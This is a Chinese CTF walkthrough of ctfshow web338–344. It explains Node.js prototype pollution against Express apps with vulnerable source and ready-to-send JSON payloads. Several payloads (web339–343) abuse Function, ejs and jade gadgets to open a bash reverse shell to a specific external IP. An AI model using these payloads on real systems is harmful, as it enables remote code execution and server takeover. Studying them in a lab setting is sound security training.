ctfshow web入门 web338--web344

web338

原型链污染

comman.js

js 复制代码
module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

login.js

js 复制代码
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

我们知道没有对象都有一个原生属性就是__proto__然后我们利用这个来使用copy来实现属性的污染把,secret的ctfshow属性变为36dboy

POST:
{"__proto__":{"ctfshow":"36dboy"}}

然后发包就行

web339

原型链污染覆盖 query 实现命令执行

app.js:

js 复制代码
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var apiRouter = require('./routes/api');

login.js

js 复制代码
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

api.js

js 复制代码
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;
res.render('api', { query: Function(query)(query)});
query属性并且想把这个属性变成函数然后再直接调用这个函数

我们利用这个来覆盖query进行RCE

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}

然后使得api起反应,那么函数就会被调用了

由于是污染题,所以我靶机是开了差不多十来次,终于是拿到了

最后翻到了flag

web340

login.js变了

js 复制代码
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;

用我们发送的请求(req.body)覆盖user.userinfo的属性为真

而我们要污染到object的话就要两层才能达到因为
userinfo上层为useruser的上层为object

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}

发包然后触发即可

web341

ejs 原型链污染 RCE

源码和340没有变,但是没有api的函数触发了

首先一样的双层污染

用snyk测一下先发现有ejs的

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');var __tmp2"}}}

这里的前面的 _tmp1; 和后面的 var __tmp2 不能删,是为了闭合代码。

污染之后没有反应,随便访问一个页面,反弹成功

根目录下面找到flag

web342--web343

jade 原型链污染 rce

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');//"}}}

{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}

这里有些师傅反弹不到,可能是一个细节res接受JSON

而在是在login发包,你如果原地发会报错

web344

js 复制代码
router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);   
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

过滤了8c 2c ,

var query = JSON.parse(req.query.query);   
定义了一个js对象,访问其参数值

直接传就行了

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
考虑一下绕过
相关推荐
奔跑吧邓邓子14 分钟前
npm包管理深度探索:从基础到进阶全面教程!
前端·npm·node.js
鲨鱼辣椒丶D21 分钟前
「漏洞复现」用友U8 CRM config/fillbacksettingedit.php SQL注入漏洞
web安全
唐·柯里昂79811 小时前
[3D打印]拓竹切片软件Bambu Studio使用
经验分享·笔记·3d
Word码12 小时前
数据结构:栈和队列
c语言·开发语言·数据结构·经验分享·笔记·算法
知否技术12 小时前
为什么nodejs成为后端开发者的新宠?
前端·后端·node.js
ZhongruiRao12 小时前
Springboot+PostgreSQL+MybatisPlus存储JSON或List、数组(Array)数据
spring boot·postgresql·json
我命由我1234512 小时前
SSL 协议(HTTPS 协议的关键)
网络·经验分享·笔记·学习·https·ssl·学习方法
火红的小辣椒12 小时前
XSS基础
android·web安全
华农第一蒟蒻13 小时前
Java中JWT(JSON Web Token)的运用
java·前端·spring boot·json·token
Z3r4y13 小时前
【Web】portswigger 服务端原型污染 labs 全解
javascript·web安全·nodejs·原型链污染·wp·portswigger